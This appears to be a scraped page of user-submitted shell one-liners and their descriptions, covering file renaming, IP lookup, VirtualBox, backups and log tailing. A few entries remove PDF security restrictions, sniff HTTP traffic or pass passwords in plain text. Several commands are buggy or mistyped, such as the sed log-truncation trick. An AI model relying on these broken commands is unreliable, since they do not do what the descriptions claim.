get Ascending order, then display a marker next to the a file, negate directory and select only 1 result alias mux='clear && cd ~/Music/ && ls && echo -n "File> " && read msi && mplayer ~/Music/$msi' dude@boxy:~$ mux File.mp3 anotherfile Moremusic Hardrock.mp3 File> Hardrock.mp3 <Insert lots of unneeded Mplayer output here> Functions: alias cd echo ls read Quick alias for playing music. An alias i made for myself to play music in a faster way. Works great when you have Guake / Tilda installed (Console that drops down like in the game QUAKE) I put this in my bash_alias file (I'm on ubuntu, the bash_alias file does autostart with the right config) but it works putting it in bashrc too. Or anything that autostarts when the console is opened. Needs Mplayer and music files to work. With out music theres nothing to play! Oh, and also, without modification, this alias will try to play stuff from your ~/Music folder! (case sensitive). Make sure that folder exists and has music OR edit this alias to fit your needs. curl ifconfig.me/all/xml Request all information about my IP address in xml format find . -type f -iname "*.mp3" -exec id3v2 --delete-all {} \; strip id3 v1 and v2 tags from all mp3s in current dir and below LANG=fr_FR.iso8859-1 find . -name '*['$'\xe9'$'\xea'$'\xeb'$'\xc9'']*'|while read f; do a="$(echo $f|iconv -f iso8859-1 -t ascii//TRANSLIT)"; echo "move $f => $a"; done Warn: use convmv or detox if you can: they are the right tools. But if you want to do it manually, you can use this command to find the problematic files and transliterate their accented characters to their ascii equivalent. (Useful when doing cd backup: growisofs may fail on files which come from the old iso8859-* days.) find . -name "*.jpg" | perl -ne'chomp; $name = $_; $quote = chr(39); s/[$quote\\!]/_/ ; print "mv \"$name\" \"$_\"\n"' Renaming jpg extension files at bunch sudo ls -l $(eval echo "/proc/{$(echo $(pgrep java)|sed 's/ /,/')}/fd/")|grep log|sed 's/[^/]* //g'|xargs -r tail -f Functions: echo eval grep ls sed sudo tail xargs tail all logs opened by all java processes Tail all logs that are opened by all java processes. This is helpful when you are on a new environment and you do not know where the logs are located. Instead of java you can put any process name. This command does work only for Linux. The list of all log files opened by java process: sudo ls -l $(eval echo "/proc/{$(echo $(pgrep java)|sed 's/ /,/')}/fd/")|grep log|sed 's/[^/]* //g' sqlite3 -csv ~/.thunderbird/*.default/calendar-data/local.sqlite "SELECT CASE WHEN priority IS NULL THEN 5 ELSE priority END AS priority, title FROM cal_todos WHERE ical_status IS NULL ORDER BY priority ASC, last_modified DESC;" wodim foo.iso p=~/.config/chromium/zed; cp -r ~/.config/chromium/Default $p && echo "chromium-browser --user-data-dir=$p" && chromium-browser --user-data-dir=$p; chromium-browser --user-data-dir=/home/z/.config/chromium/zed [A new chrome profile gets created and runs itself.] Functions: cp echo Create a new chrome profile and run it Change the value of p to match the path where you wish to create the profile. To run it again in the future, use the parameter --user-data-dir (which gets echoed to you when run): chromium-browser --user-data-dir=/path/to/your/ Quick Functions: # create a new chromium profile new-chromium-profile() { p=~/.config/chromium/$1; cp -r ~/.config/chromium/Default $p && echo "chromium-browser --user-data-dir=$p" && chromium-browser --user-data-dir=$p; } # runs a chromium profile run-chromium-profile() { chromium-browser --user-data-dir=~/.config/chromium/$1; } now=`date +"%Y/%m/%d" -d "04/02/2005"` ; end=`date +"%Y/%m/%d" -d "07/31/2005"`; while [ "$now" != "$end" ] ; do now=`date +"%Y/%m/%d" -d "$now + 1 day"`; echo "$now"; done To generate the list of dates using bash shell sed -i 's/`head -n 500 foo.log`//' foo.log truncate files without output redirection or temporary file creation This is good for cleaning up log files without having to erase the entire contents of the file, and allows you to keep the most recent entries to the log only FLOOR=0; RANGE=10; number=0; while [ "$number" -le $FLOOR ]; do number=$RANDOM; let "number %= $RANGE"; done; echo $number Random integer number between FLOOR and RANGE This one-liner outputs a random number between the values given for FLOOR and RANGE. ‹ First < 268 269 270 271 272 > Last › getdji (){local url sedcmd;url='http://finance.yahoo.com/q?d=t&s=^DJI';sedcmd='/(DJI:.*)/,/Day.*/!d;s/^ *//g;';sedcmd="$sedcmd/Change:/s/Down / -/;/Change:/s/Up / +/;";sedcmd="$sedcmd/Open:/s//& /";lynx -dump "$url" | sed "$sedcmd"; } get ^DJI find ./ $1 -name "* *" | while read a ; do mv "${a}" "${a//\ /_}" ; done Replaces space in a file with a underline for vm in `/usr/bin/vmware-cmd -l`; do /usr/bin/vmware-cmd "${vm}" stop trysoft; done Shutdown all VMWare ESX VMs from commandline This command will shutdown all VMs on an VMWare ESX host. First it tries to gracefully shutdown the VM. If that fails it will hard shutdown and the power off. which somecommand locate a command Returns the pathnames of the files which would be executed in the current environment had its arguments been given as a command. { u="http://twitter.com/commandlinefu"; echo "Subject: $u"; echo "Mime-Version: 1.0"; echo -e "Content-Type: text/html; charset=utf-8\n\n"; curl $u ; } | sendmail recipient@example.com Functions: echo sendmail Send web page by e-mail This will send the web page at $u to recipient@example.com . To send the web page to oneself, recipient@example.com can be replaced by $(whoami) . The "charset" is UTF-8 here, but any alternative charset of your choice would work. `wget -O - -o /dev/null $u` may be considered instead of `curl $u` . On some systems the complete path to sendmail may be necessary, for instance /sys/pkg/libexec/sendmail/sendmail for some NetBSD. export PSOA='user,pid,time,state,command' ; function _ps { /bin/ps $@ ; } ; alias psa='_ps ax -o $PSOA' Better PS aliases #ps aliases PSO='user,pid,ppid,%cpu,%mem,time,start,state,command' PSOA='user,pid,time,state,command' PSOL='user,pid,ppid,%cpu,%mem,nice,pri,etime,time,tt,state,ucomm' export PSO PSOA PSOL function _ps { /bin/ps $@ ; } alias ps='_ps ax -o $PSO' alias psa='_ps ax -o $PSOA' alias psl='_ps ax -o $PSOL' alias psm='_ps -U $USER -o $PSOA' flip -u $FILE conversely, you can type flip -m to convert the file back to MS line endings. svn log . --stop-on-copy show the log of a branch since its creation The command show the log of a branch, stopping the output at the time of branch creation. function countdown { case "$1" in -s) shift;; *) set $(($1 * 60));; esac; local S=" "; for i in $(seq "$1" -1 1); do echo -ne "$S\r $i\r"; sleep 1; done; echo -e "$S\rBOOM!"; } Functions: echo seq set sleep The biggest advantage over atoponce's nifty original is not killing the scrollback. Written assuming bash, but shouldn't be terribly difficult to port to other shells. S should be multiple spaces, but I can't get commandlinefu to save/show them properly, any help? realpath -s <filename> $ realpath -s ../filename /home/kalaxy/filename Will convert relative paths into absolute paths. ls -la | awk '$3 == "oracle" || $3 == "root" {print $9}' list files by testing the ownership find . -type f -exec ls -tr {} + List all files from the current directory and subdirectories, sorted by modification time, oldest first. cd /usr/ports; grep -F "`for o in \`pkg_info -qao\` ; \ do echo "|/usr/ports/${o}|" ; done`" `make -V INDEXFILE` | \ grep -i \|ports@freebsd.org\| | cut -f 2 -d \| Functions: cd cut grep find unmaintained ports that are installed on your system only works for freeBSD where ports are installed in /usr/ports credit to http://wiki.freebsd.org/PortsTasks CTRL + a Go to begin of current command line Go to begin of the current command line. export PS1='\D{%a %D %T}> ' gswin32c -dSAFER -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -sFONTPATH=%windir%/fonts;xfonts;. -sPDFPassword= -dPDFSETTINGS=/prepress -dPassThroughJPEGImages=true -sOutputFile=OUTPUT.pdf INPUT.pdf Remove security limitations from PDF documents using ghostscript (for Windows) #4345 also works under windows Go to next dir Add dirs to list: /tmp ~ /home/user /tmp RANGE=`wc -l /usr/share/dict/words | sed 's/^\([0-9]*\) .*$/\1/'`; for i in {1..4}; do let "N = $RANDOM % $RANGE"; sed -n -e "${N}p" /usr/share/dict/words | tr -d '\n'; done; RANGE=100; let "N = $RANDOM % $RANGE"; echo $N creates a xkcd #936-style password while :; do cat file.txt | nc -l 80; done share single file in LAN via netcat vim -c'highlight Comment ctermfg=white' my.conf make comments invisible when editing a file you should choose proper color to make comments invisible. Boot up destination machine with Knoppix live CD and run nc -l -p 9000 | dd of=/dev/sda Then on the master dd if=/dev/sda | nc <dest-ip> 9000 You can monitor bandwidth usage to see progress: nload eth0 -u M Cloning hard disks over the network: This is a bit to bit copy so if you have a 500GB hard disk it will take a long time even if have Gigabit Ethernet printf "%s\n" !(pattern) ## ksh, or bash with shopt -s extglob Functions: bash printf There's no need for ls or grep; printf is builtin to most modern shells echo "Terrorist threat level: `sed $(perl -e "print int rand(99999)")"q;d" /usr/share/dict/words`" Numbers are less understandable then words. Also this may put out a different result. sort -R /usr/share/dict/british | grep -v -m4 ^\{1,10\}$ | tr [:upper:] [:lower:] | tr "\n" " " | tr -d "'s" | xargs -0 echo trample tylenol parawing bycatch Functions: grep sort tr xargs pcregrep --color -M -N CRLF -e "SQLEngine\.\w+\W*\([^\)]*\)" -r --include='\.java$' multiline re search recursive ‹ First < 269 270 271 272 273 > Last › Opens the current working directory in the user's preferred application using freedesktop.org's xdg-open. echo `cat /dev/urandom | base64 | tr -dc "[:alnum:]" | head -c64` lMlZ1ivrDed9y45IGwMbAL2HIAMcd7xqfcd1kjNvThSnn8ZCeQOZAqHc2RilUN2f The same command, but with a base64 filter, more forgiving for special characters than tr. sed 's/.$//' Win-file.txt VBoxManage list systemproperties Show the system properties in a Sun VirtualBox server How to show the system properties of a Sun VirtualBox server wget --quiet -O - checkip.dyndns.org | sed -e 's/[^:]*: //' -e 's/<.*$//' 8x.xyz.xyz.zy3 Wgets "whatismyip" from checkip.dyndns.org and filters out the actual IP-adress. Usefull when you quickly need to find the outward facting IP-address of your current location. exiv2 *JPG | grep Focal | awk '{print $5}' | sort -n | uniq -c Find most used focal lengths in a directory of photos First column is number of photos, second column is the focal length. expanded_script=$(eval "echo \"$(cat ${sed_script_file})\"") && sed -e "${expanded_script}" your_input_file Functions: eval sed Expand shell variables in sed scripts With this command you can use shell variables inside sed scripts. This is useful if the script MUST remain in an external file, otherwise you can simply use an inline -e argument to sed. STAT=`curl http://www.whatismyip.org/`; curl -u YourUserName:YourPassword -d status=$STAT http://twitter.com/statuses/update.xml # tried to copy from twitter page. See message 1 below: What are you doing? 140 Latest: 189.102.211.196 less than 20 seconds ago189.102.211.196 less than 20 seconds ago from API Send a direct message. Home * Inbox * Sent Trend Info 1. robot settimarobotsettima 189.102.211.196 less than 20 seconds ago from API 2. robot settimarobotsettima 67%,2 minutes ago from API 3. robot settimarobotsettima Battery 1: charging, 67%, 00:31:58 until charged Thermal 1: ok, 52.0 degrees C2 minutes ago from API 4. robot settimarobotsettima Battery 1: charging, 64%, 00:34:51 until charged Thermal 1: ok, 52.0 degrees C5 minutes ago from API Tweet my ip ( see your machine ip on twitter ) Easy way to find your computers IP in one place, ie, twitter It suppress the need of dyndns clients and remembering the complex names they give you. I put it inside KAlarm ( the cron GUI for KDE, ubuntu), to update my ip every 3 minutes. I did not add the cron statements to keep the code clean. VBoxManage showvminfo "cicciobox" --details Verify the virtual machine status where "cicciobox" is the name of your virtual machine in a Sun VirtualBox server zip -r homard homard -x homard/.git\*; cp ./homard.zip /path_to_dropbox_public_folder/homard.zip If like me you do a lot of front-end coding and you have a lot of clients that asks you some little modifications, then you send the modifications back to them in a zip file while ignoring the .git folder and .gitignore file, then copy this zip into your dropbox and send it back to them. They find out a new bug so, rince and repeat? You get the picture. It can be quite tedious. alias duh='dulist=$(du -sh */); for i in T G M K; do printf "$dulist"|egrep "^[0-9\.]+$i" | sort -rn; done' 278G movies/ 56G music/ 2.8G pictures/ 92M work/ 6.2k temp/ Functions: alias du egrep printf sort Alias to produce a list of all subdir sizes in current dir, in reverse order and human readable units. du is executed only once. Remove the slash after the asterisk to include files. echo -n "String to get MD5" | md5sum | sed "s/ -//" find /dev/vg00 -type b -exec lvextend -m 1 {} /dev/disk/<disk> \; VBoxManage list ostypes List the supported OS in VirtualBox If you want to know what OS are supported on "guest" machines on the Sun VirtualBox server. mplayer -vo fbdev $1 -fs -subcp ${2:-cp1251} -vf scale=${3:-1280:720} Start mplayer in the framebuffer It's made for a script use, where you have 3 parameters: 1. parameter is the filename 2. (optional) the encoding for subtitles 3. (optional) the scaling of the video, since fullscreen doesn't mean that the video will be scaled. tail -f ~/.bash_history $ tail -f /home/ubuntu/.bash_history uptime echo hello exit Watch end of files real time, especially log files Changes are displayed when they are written to the file to exit VBoxManage createvm --name "vm-name" --ostype Ubuntu --register How to create a vm in VirtualBox No comment: it's easy! perl -i -pe "s/old/new/g" * Replaces every ocurrences of 'old' for 'new' in all files specified Replaces every ocurrence of 'old' for 'new' in all files specified. After the 'i' char you can put a '~' or whatever to create a backup file for each replaced with the name equal to the original plus character. git branch --contains <commit sha1 id> | sed -e 's/^[ *]*//' FInd out what branches a specific commit belongs to wmctrl -i -a `wmctrl -l -x | gpicker -d "\n" -n "\n" - | awk '{print $1}'` Switch to windows using gpicker Require wmctrl and gpicker and an EWMH/NetWM compatible X Window Manager egrep '__NR_' /usr/include/asm/unistd_`getconf -a | awk '$1~/^WORD/{print $2}'`.h | sed -e 's/^#define __NR_//' | column -t Functions: awk column egrep sed List of syscalls (for 32/64 bits systems) List all users Easily list all users find ./ -type f -exec chmod 644 {} + per comments w3m -dump_head www.fiat.com | awk '/Date+/{print $6, $7}' w3m -dump_head www.fiat.com | awk '/Date+/{print $6, $7}' brings: 23:57:32 GMT try out for cocacola.com, ford.com, cia.com, etc... depending on the site, there are more outputs,not due to awk, of couse: w3m -dump_head www.harleydavidson.com | awk '/Date+/{print $6, $7}' brings: Received cookie: BM_H-D.COM_SSL=R973512462 Received cookie: ASPSESSIONIDCSCACDDR=PEKOKEADEMEMICAOJMCKMDGO Received cookie: HDCWPSession=2GbMKsTLPNyfskpbrk2sCDGRmFQ4sDdv7mPpXtbTQTMTdNyMbthT!1492066625!-765629493 Received cookie: cwpLocCountryLanguage=en_US Received cookie: browseinfo=Unknown|0.0|true retrieve GMT time from websites ( generally accruate ) w3m is a commanline web browser, full of options, I used -dump_head for less unnecessary page download. With awk, I can retrieve dynamic changes in webpages in this very econnomical fashion ‹ First < 270 271 272 273 274 > Last › for jj in `seq -f "%02.0f" 1 12`; do rr=`ls *S04E$jj*.smi`; tt=`ls *S04E$jj*.avi`; mv "$rr" "${tt%.*}.smi"; done while series of video and subtitles have unmatched file names, rename subtitles the same as video files. Subtitles' file names contain S04E01, S04E02, ... S04E12 and end with ".smi". Videos' file names contain S04E01, S04E02, ... S04E12 and end with ".avi". You can change the patterns by changing `ls *S04E$jj*.smi` and `ls *S04E$jj*.avi` parts. You can change the number of starting and ending file by changing `seq -f "%02.0f" 1 12` part. TIMEUNIT=$(awk '/timescale/{print NR}' a) Get a text on a position on the file and store in a variable cho "(Something like http://foo.com/blah_blah)" | awk '{for(i=1;i<=NF;i++){if($i~/^(http|ftp):\/\//)print $i}}' don't have to be that complicated cat | gcc -x c -o a.out - && ./a.out && rm a.out Functions: c++ cat gcc rm Write and run a quick C program This should work on any unix platform running bash. Just type the program into cat and give it a ^D when you're done, at which time it will compile, run, and remove the program. Obviously, you can run it without the "rm a.out" if you'd like to keep the binary. If you want to keep the source, well, you might as well just write it in vi or emacs first then. find -type d -name ".svn" -print0 | xargs -0 rm -rf man find: If no paths are given, the current directory is used. - Can anybody tell me why so many people are typing the dot? groovy -e 'println URLEncoder.encode("Some text")' find /path/to/dir -type f |sed 's/^.*\///'|grep -o '\.[^.]*$'|sort -f|uniq -i schedtool 1 PID 1: PRIO 0, POLICY N: SCHED_NORMAL , NICE 0, AFFINITY 0x1 command to display info about the core specified * sudo apt-get install schedtool COPYFILE_DISABLE=true tar cvf newTarFile.tar Directory/ Create .tar file on Mac OS X Leopard / Snow Leopard without ._* files Using the COPYFILE_DISABLE=true environment variable you can prevent tar from adding any ._-files to your .tar-file on Mac OS X. dirname $(readlink -f ${BASH_SOURCE[0]}) work for execute file for i in {001..999}; print $i 002 998 999 Avoid using seq and pad numbers with leading zeros I always hated resorting to using $(seq -w 1 99) to pad numbers. zsh provides a shortcut that couldn't be more intuitive. It also works in reverse {99..01} ls | while read filename; do tar -czvf "$filename".tar.gz "$filename"; rm "$filename"; done Functions: ls read rm tar Individually compress each file in a directory Compresses each file individually, creating a $fileneame.tar.gz and removes the uncompressed version, usefull if you have lots of files and don't want 1 huge archive containing them all. you could replace ls with ls *.pdf to just perform the action on pdfs for example. curl -s "https://www.random.org/cgi-bin/randbyte?nbytes=4" | od -DAn Grab 4 bytes from www.random.org over ssl and format them as an integer echo 00{1..9} 0{10..99} 100 Generate padded numbers 001 002 ... 100 human_filesize() { awk -v sum="$1" ' BEGIN {hum[1024^3]="Gb"; hum[1024^2]="Mb"; hum[1024]="Kb"; for (x=1024^3; x>=1024; x/=1024) { if (sum>=x) { printf "%.2f %s\n",sum/x,hum[x]; break; } } if (sum<1024) print "1kb"; } '} $ human_filesize 1234567890 1.15 Gb Convert number of bytes to human readable filesize Converts a number of bytes provided as input, to a human readable number. html2text http://checkip.dyndns.org | grep -i 'Current IP Address:'|cut -c21-36 tail -f LOGFILE | awk '{system("say \"" $0 "\"");}' like #9295, but awkish instead of perlish for f in $(ls | grep -v [.md5]$); do if [ -f $f ] && [ ! -f $f".md5" ]; then echo "missing md5 for '${f}' will now create..."; md5sum $f > $f".md5"; echo "created"; fi; done; Functions: echo grep ls md5sum creates a .md5 file for each file in a directory that doesn't have a [filename].md5 file, but doesn't create for md5 files or directories. cat schema.sql data.sql test_data.sql | mysql -u user --password=pass dbname Load multiple sql script in mysql Be aware of using the --password argument as it will appear your password in plain text on the screen. You may use -p argument instead, it will prompt you to enter you password in hidden mode. wget http://www.discogs.com/search?q=724349691704 -O foobar &> /dev/null ; grep \/release\/ foobar | head -2 | tail -1 | sed -e 's/^<div>.*>\(.*\)<\/a><\/div>/\1/' ; rm foobar Functions: grep head rm sed tail wget Substitute that 724349691704 with an UPC of a CD you have at hand, and (hopefully) this oneliner should return the $Artist - $Title, querying discogs.com. Yes, I know, all that head/tail/grep crap can be improved with a single sed command, feel free to send "patches" :D echo -n "String to MD5" | md5sum | awk '{print $1}' (echo 0; find [args...] -printf '%s +\n'; echo p) | dc Just an alternative. Here the output of the subshell statement is a complete script for dc so you can save it, manipulate it with some other tool or just debug it with less. s=/etc/ssh/sshd_config;r=PermitRootLogin;cp $s{,.old}&& if grep $r $s;then sed "s/$r yes/$r no/" $s.old > $s; else echo $r no >> $s;fi Functions: cp echo grep sed Root Security This will tighten up security for your box. The default value for PermitRootLogin sadly is 'yes'. date "+The time is %H:%M" | say Say the current time (Mac OS X) On other systems, replace 'say' with the name of another text-to-speech engine, e.g. espeak ( http://espeak.sourceforge.net ) or festival ( http://www.cstr.ed.ac.uk/projects/festival ) mysql -u <user> --password=<password> -e "SHOW COLUMNS FROM <table>" <database> | awk '{print $1}' | tr "\n" "," | sed 's/,$//g' Get column names in MySQL Useful when you need to write e.g. an INSERT for a table with a large number of columns. This command will retrieve the column names and comma-separate them ready for INSERT INTO(...), removing the last comma. ‹ First < 271 272 273 274 275 > Last › fdupes DIRECTORY/ -r -d find duplicate files in a directory and choose which one to delete allow you to find duplicates files in "DIRECTORY" and choose wich one to delete fudpes must be installed: sudo apt-get install fdupes sudo service bluetooth restart * Stopping bluetooth [ OK ] * Starting bluetooth [ OK ] restart Bluetooth from terminal http://askubuntu.com/questions/38860/problems-with-my-bluetooth-indicator sed -i '${LINE}d' ~/.ssh/known_host nautilus -q Restart nautilus man nautilus (1) - the GNOME File Manager OPTIONS -q --quit Quit Nautilus. ps But if it hang up, you should kill it with -9 of couse find . -size 0 -print0 | xargs -0 rm date MMDDhhmmYYYY xen1 ~ # date Sat May 29 08:30:02 CEST 2010 xen1 ~ # date 122708001975 Sat Dec 27 08:00:00 CET 1975 Sat Dec 27 08:00:01 CET 1975 manually set system date/time date MMDDhhmm # example 27.12.1975 08:00 date 122708001975 c="cp -a";e="~";echo -e "\npaste\n";i=0;k="1"; while [[ "$k" != "" ]]; do read -a k;r[i]=$k;((i++));done;i=0;while :;do t=${r[i]};[ "$t" == "" ] && break; g=$(echo $c ${r[i]} $e);echo -e $g "\ny/n?";read y;[ "$y" != "n" ] && eval $g;((i++));done paste ./test/data1 ./test/test0.sh ./test/test0.sh~ cp -ap ./test/data1 ~ y/n? cp -ap ./test/test0.sh ~ Functions: echo eval read Mini-framework: just paste and execute! Schematics: command [options] [paste your variable here] parameter command [options] [paste entire column of variables here] parameter (hard-code command "c" and parameter "e" according to your wishes: in example shown command = "cp -a" and parameter = "~") Features: - Quick exchange only variable part of a long command line - Make variable part to be an entire column of data (i.e. file list) - Full control while processing every single item Hints: Paste column of data from anywhere. I.e. utilize the Block Select Mode to drag, select and copy columns (In KDE Konsole with Ctrl+Alt pressed, or only Ctrl pressed in GNOME Terminal respectively). You can paste only one single variable in a row. If there are more space separated variables in a row only first one will be processed, but you can arrange your variables in a column instead. To transpose rows to columns or vice versa look at Linux manual pages for 'cut' and 'paste'. TODO: - add edit mode to vary command "c" and parameter "e" on the fly - add one edit mode more to handle every list item different - add y/n/a (=All) instead of only y(=default)/n to allowed answers The code is not optimized, only the basic idea is presented here. It's up to you to shorten code or extend the functionality. kde-open -v | grep Platform | cut -d' ' -f4- 4.7.3 (4.7.3) Get KDE version Sample input: kde-open -v Qt: 4.7.4 KDE Development Platform: 4.7.3 (4.7.3) KIO Client: 2.0 tar -cf - folder/ | gpg -c > folder.tpg Encrypted Tarballs gpg's compression is as suitable as gzip's however your backups can now be encrypted. to extract use: gpg < folder.tpg | tar -xf - fetch -q -o - http://ipchicken.com | egrep -o '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}' 1.2.3.4 Same thing as above, just uses fetch and ipchicken.com disper --displays=auto -e -t left Autodetect screens and extend workspace to the left Moving Gnome Panels to the external screen is done using gconf-editor, changing property "/apps/panel/toplevels/top_panel_screen0/monitor", as well as "/apps/panel/toplevels/bottom_panel_screen0/monitor" to int value "1". This can be done from the command line using ' gconftool-2 --set "/apps/panel/toplevels/top_panel_screen0/monitor" --type integer "1"' so a nice script can be written. wget -O - http://checkip.dyndns.org|sed 's/[^0-9.]//g' svn log -v | less Find out who change what files in a SVN repository for i in *; do j=`echo $i | cut -d "-" -f1`; j=$j; mv $i $j; done Before: TFO-RINGTONE.mp3 After: TFO.mp3 Functions: cut mv Batch file suffix renaming Renames files eliminating suffix, in this case everything after "-" is cutted. Just change "-" with the character you need. cp -p file-you-want-backup{,_`date +%Y%m%d`} # for bash backup file. (for bash) find -not -empty -type f -printf "%s\n" | sort | uniq -d | parallel find -type f -size {}c | parallel md5sum | sort | uniq -w32 --all-repeated=separate Functions: find md5sum sort uniq A bit shorter and parallelized. Depending on the speed of your cpu and your disk this may run faster. year=2010; math=`echo "$year%4" | bc`; [ ! -z $year ] && [ $math -eq 0 ] && echo "$year is leap year!" || echo "$year isn't leap year"; wget -qO - http://i18n.counter.li.org/ | grep 'users registered' | sed 's/.*\<font size=7\>//g' | tr '\>' ' ' | sed 's/<br.*//g' | tr ' ' '\0' Functions: grep sed tr wget Get the amount of currently registered users from i18n.counter.li.org. alias calc='python -ic "from math import *; from random import *"' $ calc >>> 22.0/7 3.1428571428571428 >>> 22/7.0 >>> use python as calculator, press ctrl+d to exit reminder: when doing factions add atleast one decimal number like so Show who are logging in and what their current commands Short and sweet command. This command is also useful for other information such as what IP address a particular user logged in from, how long had they been logged in, what shell do they use. du -kd | egrep -v "/.*/" | sort -n Functions: du egrep sort Thanks for the submit! My alternative produces summaries only for directories. The original post additionally lists all files in the current directory. Sometimes the files, they just clutter up the output. Once the big directory is located, *then* worry about which file(s) are consuming so much space. mount | grep "mount point" Functions: grep mount mmv "*-*.mp3" "#1.mp3" replace the "-" by the character you wish. If you have multiple extentions, like jpef, jpg and JPG you could use mmv "*-*.*" "#1.#3" awk 'BEGIN {srand} /^[a-z]{4,8}$/ {w[i++]=$0} END {while (j++<4) print w[int(rand*i)]}' /usr/share/dict/words If you do not have shuf or an -R option in sort, you can fall back on awk. This provides maximum portability IMO. The command first collects words from the dictionary that match the criteria - in this case: lower case words with no punctuation that are 4 to 8 characters long. It then prints 4 random entries. I decided to print each word on a separate line to improve readability. Check the Description below. 138362 Add together the count of users from the international Linux Counter and the dudalibre.com counter. The command was too long for the command box, so here it is: echo $(( `wget -qO - http://i18n.counter.li.org/ | grep 'users registered' | sed 's/.*\<font size=7\>//g' | tr '\>' ' ' | sed 's/<br.*//g' | tr ' ' '\0'` + `curl --silent http://www.dudalibre.com/gnulinuxcounter?lang=en | grep users | head -2 | tail -1 | sed 's/.*<strong>//g' | sed 's/<\/strong>.*//g'` )) This took me about an hour to do. It uses wget and curl because, dudalibre.com blocks wget, and wget worked nicely for me. ‹ First < 272 273 274 275 276 > Last › gpg -c file.txt encrypt file.txt using a symmetric password :%s!^!foo! vim insert at beginning of multiple lines tweet(){ curl -u "$1" -d status="$2" "http://twitter.com/statuses/update.xml"; } Type the command in the terminal and press enter to create the tweet() function. Then run as follows: tweet MyTwitterAccount "My message goes here" It will prompt you for password. Make sure that you use escape "\" character in message for showing varialbles or markup. tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c10 A slightly shorter version. Also doesn't put a return character at the end of the password for ip in $(seq 1 25); do ping -c 1 192.168.0.$ip>/dev/null; [ $? -eq 0 ] && echo "192.168.0.$ip UP" || : ; done 192.168.0.1 UP 192.168.0.2 UP 192.168.0.3 UP 192.168.0.5 UP 192.168.0.8 UP 192.168.0.9 UP Functions: echo ping seq how to like to know if a host is ON this is very useful when there is a different network host to determine which are turned on or not truncate foobar.txt feh -d -F -z -D 1 * Slideshow of images in the current folder -d Draw the filename at the top-left of the image -F fullscreen -z randomize -D 1 - delay 1 second between changing slides This command will show images in subdirectories as well. calc() { echo "scale=4; ${*//,/.}" | bc -l; } This is an "argument calculator" funktion. The precision is set to 4 and you can use dot (.) or comma (,) as decimal mark (which is great for german users with a comma on the numpad). tail -f to.log | colorize.pl +l10:".*" & colorize and continuously tail two files (follow with next command) tail -f from.log | colorize.pl +l20:".*" & Use with http://www.commandlinefu.com/commands/view/10031/intercept-monitor-and-manipulate-a-tcp-connection. - can use to view output of tees that send traffic to files - output will be interwoven with red for sent traffic and green for received. perl -e "''=~('(?{'.('-^@.]|(;,@/{}/),[\\\$['^'],)@)[\`^@,@[*@[@?}.|').'})')" hello, world quoted from http://0-9.sakura.ne.jp/blog/archives/2008/10/29121116.html notify-send -i /usr/share/pixmaps/gnome-irc.png "Title" \ "This is a desktop notification commandlinefu." Nofity Message in Ubuntu Nofity Message sudo apt-get install libnotify-bin find . -maxdepth 1 -type f -exec chmod +a "everyone deny delete" {} \; forbid deletion of files for everyone Change the ACL so that no one can delete files in the current directory. some_cronjobed_script.sh 2>&1 | tee -a output.log | grep -C 1000 ERROR Functions: grep tee Log output from a cronjob to a file, but also e-mail if a string is found The large context number (-C 1000) is a bit of a hack, but in most of my use cases, it makes sure I'll see the whole log output. date -d "@$(find dir -type f -printf '%C@\n' | sort -n | sed -n "$(($(find dir -type f | wc -l)/2))p")" +%F 2006-05-20 Functions: date dir find wc Find the median file modification time of files in a directory tree I needed to get a feel for how "old" different websites were, based on their directories. find ./ -name '*.sw[op]' -delete Remove VIM temp files ssh-copy-id -i .ssh/id_rsa.pub username:password@remotehost.com copy ssh id to remote host sudo ngrep -lqi -p -W none ^get\|^post tcp dst port 80 -d eth0 | egrep '(flv|mp4|m4v|mov|mp3|wmv)' It locate the urls of audio and video files so that they can be recorded. /usr/sbin/arp -i eth0 | awk '{print $3}' | sed 1d List nearbies find . -type f | perl -lne 'print if -T;' | xargs egrep "somepattern" Functions: egrep find perl xargs search for a pattern (regex) in all text files (ignoring binary files) in a directory tree awk 'BEGIN {FS=","} { print $1 " " $2 " " $NF}' foo.txt Col1,Col2,Col3,[...],ColLast Col1 Col2 ColLast Set field separator char from command line. Prints first, second and lsat columns. fdupes -r -1 path | while read line; do j="0"; for file in ${line[*]}; do if [ "$j" == "0" ]; then j="1"; else sudo ln -f ${line// .*/} $file; fi; done; done Functions: file ln read sudo scalac quicksort.scala && javap QuickSort Compiled from "quicksort.scala" public final class QuickSort extends java.lang.Object{ public static final void main(java.lang.String[]); public static final void delayedInit(scala.Function0); public static final java.lang.String[] args(); public static final void scala$App$_setter_$scala$App$$initCode_$eq(scala.collection.mutable.ListBuffer); public static final void scala$App$_setter_$executionStart_$eq(long); public static final scala.collection.mutable.ListBuffer scala$App$$initCode(); public static final void scala$App$$_args_$eq(java.lang.String[]); public static final java.lang.String[] scala$App$$_args(); public static final long executionStart(); public static final int[] sort(int[]); print info about compiled Scala class dd if=/dev/zero of=test bs=1024k count=1024 & bash -c "while :; do clear;echo STATS FOR DD:;kill -USR1 $!; sleep 1; done" STATS FOR DD: 3014049+0 records in 3014048+0 records out 1543192576 bytes (1.5 GB) copied, 36.6224 s, 42.1 MB/s Functions: bash dd Show stats for dd Have you ever wondered what the hell was dd command doing? well, there you have it... notice the -USR1 signal :)... out() { tmp=$(mktemp); awk '{print $0}' > $tmp; if [ $(wc -l $tmp | awk '{print $1}') -gt $(tput lines) ]; then less $tmp; else cat $tmp; fi; rm -fr $tmp; } $ cat ./linux.txt | out Sorry, I just began it. Try to read it some time later. Functions: awk cat less rm tput wc I like to use 'cat' for small files/output and 'less' for long ones. But often I don't know the number of output lines beforehand. This function reads stdin and displays its contents using either 'cat' or 'less' depending whether the number of lines fits the screen. You may modify the condition to use cat/less as you like. Of course don't use it on very-very large files since it involves contents copying and re-reading. ‹ First < 273 274 275 276 277 > Last › alias mine='ps xco pid,command,%cpu,%mem,state' quickly show me interesting data about my processes alias nl2space="perl -ne 'push @F, \$_; END { chomp @F; print join(qq{ }, @F) , qq{\n};}' " change newlines to spaces (or commas or whatever). Acts as a filter or can have c/l args # newline to space; the whack before dollar-underbar is required # newline to comma; the whack before dollar-underbar is required alias nl2,="perl -ne 'push @F, \$_; END { chomp @F; print join(qq{,}, @F) , qq{\n};}' " PROMPT> cat /tmp/foo foo-001 foo-002 foo-003 foo-004 foo-005 foo-006 foo-007 foo-008 foo-009 foo-010 # 'tr' does not give a newline after it run. Makes a messy commandline. PROMPT> cat /tmp/foo|tr "\n" ' ' foo-001 foo-002 foo-003 foo-004 foo-005 